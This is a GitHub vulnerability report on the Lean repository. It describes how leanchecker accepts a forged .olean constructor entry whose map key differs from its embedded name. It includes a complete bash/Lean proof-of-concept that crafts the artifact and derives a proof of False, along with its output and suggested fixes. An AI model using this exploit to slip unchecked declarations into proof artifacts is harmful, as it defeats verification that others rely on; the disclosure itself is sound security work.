Skip to content

leanchecker accepts constructor entries whose map key differs from the embedded name #15100

Closed

Description

@mufeedvh

Prerequisites

  • Checked that this issue is not already filed.
  • Reduced the issue to a self-contained test case without Mathlib or Batteries.
  • Tested the reproducer against a release build of current master (11636539d4150daeabe43cbc5cc5826b06f1e3ce).

Description

The default leanchecker path accepts a serialized constructor entry whose key in the replay map differs from the name embedded in its ConstantInfo. The reproducer maps the external key evil to a ConstructorVal whose embedded name remains T.mk and whose type is False. leanchecker Evil exits successfully, while an ordinary import exposes evil : False and accepts theorem boom : False := evil.

Within the appended entry, the differential control changes only the embedded name from T.mk to evil, making the key and embedded name agree. leanchecker Control then rejects the same forged constructor type with No such constructor evil.

Context

ModuleData documents the invariant constNames = constants.map (·.name), but the checker constructs its replay map from these parallel arrays without validating that invariant. During replay, the entry is fetched by the external key evil, while the constructor post-check is recorded and later looked up by the embedded name T.mk. Because the normal T.mk entry is also present, the post-check compares the generated constructor with the normal submitted T.mk and never compares the entry under evil.

leanchecker is documented as an environment-hacking detector rather than an external verifier. The bug here is that it reports success for a constructed environment whose submitted entry was never compared with the kernel-generated declaration. Ordinary .olean import trusts artifacts by design.

Steps to Reproduce

From a release build of the Lean repository, save the following as poc.sh and run bash poc.sh from the repository root:

#!/usr/bin/env bash
set -euo pipefail

ROOT="$PWD"
LEAN="$ROOT/build/release/stage1/bin/lean"
CHECKER="$ROOT/build/release/stage1/bin/leanchecker"
export PATH="$ROOT/build/release/stage1/bin:$PATH"
WORK="$(mktemp -d)"
trap 'rm -rf "$WORK"' EXIT
cd "$WORK"

cat > Seed.lean <<'LEAN'
import Lean

inductive T where
  | mk
LEAN

LEAN_PATH="$WORK" "$LEAN" -o Seed.olean Seed.lean

cat > Generator.lean <<'LEAN'
import Lean

open Lean

def saveVariant (path : System.FilePath) (moduleName key embeddedName : Name)
    (data : ModuleData) (ctor : ConstructorVal) : IO Unit := do
  let forged : ConstantInfo := .ctorInfo {
    ctor with
    name := embeddedName
    type := .const ``False []
    isUnsafe := false
  }
  saveModuleData path moduleName {
    data with
    constNames := data.constNames.push key
    constants := data.constants.push forged
  }

def main : IO Unit := do
  let (data, _region) ← readModuleData "Seed.olean"
  let some ci := data.constants.find? (fun ci => ci.name == `T.mk) |
    throw <| IO.userError "canonical T.mk was not found"
  let .ctorInfo ctor := ci |
    throw <| IO.userError "T.mk was not serialized as a constructor"
  saveVariant "Evil.olean" `Evil `evil `T.mk data ctor
  saveVariant "Control.olean" `Control `evil `evil data ctor
LEAN

LEAN_PATH="$WORK" "$LEAN" --run Generator.lean

echo 'mismatched key/name artifact:'
LEAN_PATH="$WORK" "$CHECKER" -v Evil
echo "exit: $?"

echo 'key/name-consistent control:'
set +e
LEAN_PATH="$WORK" "$CHECKER" -v Control
CONTROL_STATUS=$?
set -e
echo "exit: $CONTROL_STATUS"
test "$CONTROL_STATUS" -ne 0

cat > Consumer.lean <<'LEAN'
import Evil

#check evil
theorem boom : False := evil
#check boom
LEAN

LEAN_PATH="$WORK" "$LEAN" Consumer.lean

Expected behavior: leanchecker rejects both artifacts because neither forged constructor matches a constructor generated by replaying an inductive declaration. In particular, a replay-map key should identify the same declaration as the embedded ConstantInfo.name.

Actual behavior: The mismatched artifact exits 0 and the consumer compiles, while the key/name-consistent control is rejected:

mismatched key/name artifact:
replaying Evil
exit: 0
key/name-consistent control:
leanchecker found a problem in Control
uncaught exception: No such constructor evil
replaying Control
exit: 1
evil : False
boom : False

Versions

Lean (version 4.34.0-pre, arm64-apple-darwin25.6.0, commit 11636539d4150daeabe43cbc5cc5826b06f1e3ce, Release)
macOS 26.6.2 (build 25G83)

Additional Information

Relevant code on the tested commit:

Separately, leanchecker -v --fresh Evil also exited 0 on this build.

A direct fix would reject every replay-map entry for which the map key differs from ci.name before dependency traversal. Validating the same invariant while loading ModuleData would provide defense in depth and also catch unequal parallel-array lengths.

Impact

leanchecker returns success for a same-version artifact containing a declaration under evil that it never checks. The artifact remains usable after ordinary import and exposes an unchecked proof of False, so the checker misses the environment-hacking pattern it is intended to detect.

Activity

  1. mufeedvh commented on Sep 9, 2026

    @mufeedvh
    Author

    Closing after additional validation: the supported untrusted-code path (lake check/lake challenge) exports via NDJSON and runs leanchecker --from-export. This construction is rejected there with unknown constant and exit 1. The remaining behavior is limited to direct .olean replay, outside that security boundary, so I do not think it warrants further maintainer attention in the scope I intended to report.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions